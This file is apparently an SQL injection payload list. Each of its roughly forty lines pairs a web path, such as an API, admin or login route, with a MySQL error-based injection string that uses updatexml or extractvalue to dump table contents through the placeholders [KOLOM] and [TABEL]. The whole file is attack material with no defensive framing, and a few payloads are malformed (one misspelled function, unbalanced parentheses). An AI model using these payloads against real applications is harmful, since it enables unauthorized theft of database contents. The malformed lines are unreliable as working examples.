/api/v1/products/1|' and (select * from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a)
/api/users/search/test|' and (select * from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a)
/view/type/1| and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x)
/api/v1/products/search/test|" and (select 2 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))y)
/api/items/cat/1| and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x)
/dashboard/id/1|' and (select 7544 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))kNzZ) and 'vjXn'='vjXn
/api/v2/news/id/1|' and (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))#
/products/id/1|' xor (select(6217) from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) xor 'b
/index/user/admin|' and 9539=like('ABCDEFG', upper(hex(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1))))--
/admin/login/id/1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x)--
/api/v3/auth/user/1|' or (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))#
/index/cat/1| and 2254=updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)--
/main/id/1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x)
/api/search/q/test|' union select updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1),2,3--
/view/item/id/1| and 2212=updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)--
/store/id/1|'-(select 6345 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a)-'
/api/posts/id/1|)+and updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1) and (1182=1182
/index/id/1| or 2 between 1 and updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)--
/api/v1/details/id/1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x)--
/catalog/id/1| and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))and 5=5
/api/v4/gate/id/1|' or (select * from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) union select 1--
/login/user/1|')) or (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))#
/search/query/1|' and (select 2323 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) and '1'='1
/app/auth/token/1|" or (select 1 from(select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x) or "1"="1
/index/id/1|' and 2212=updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)--
/admin/dash/p/1|' and (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1))) order by 1--
/api/v2/items/cat/1|' and (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1))) procedure analyse()--
/profile/user/1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))k) or 'a'='a
/api/v1/checkout/id/1|' or (select * from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))b) and '1'='1
/member/action/view|' and updatesxml(1,concat(0x3a,(select updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1))),1)--
/api/v3/metrics/q/1|' and extractvalue(1,concat(0x3a,(select updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1))))--
/cart/item/1|' and json_keys((select convert((select updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)) using utf8)))--
/api/v2/auth/login|") or (select 4421 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x) or ("1"="1
/blog/id/1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) procedure analyse(extractvalue(1,1),1)--
/api/v1/download/file/1|' and (select 1 from(select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x) union select '1'--
/index/page/home|' xor (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) xor '1'='1
/api/v2/track/ip/1|' and 3121=updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)--
/user/update/id/1|')) and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))x) and (('1'='1
/api/v3/search/query/test|' or (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) is null--
/gallery/id/1|' and (select 1 from (select(updatexml(1,concat(0x3a,(select group_concat([KOLOM]) from [TABEL])),1)))a) in (1,2,3)--
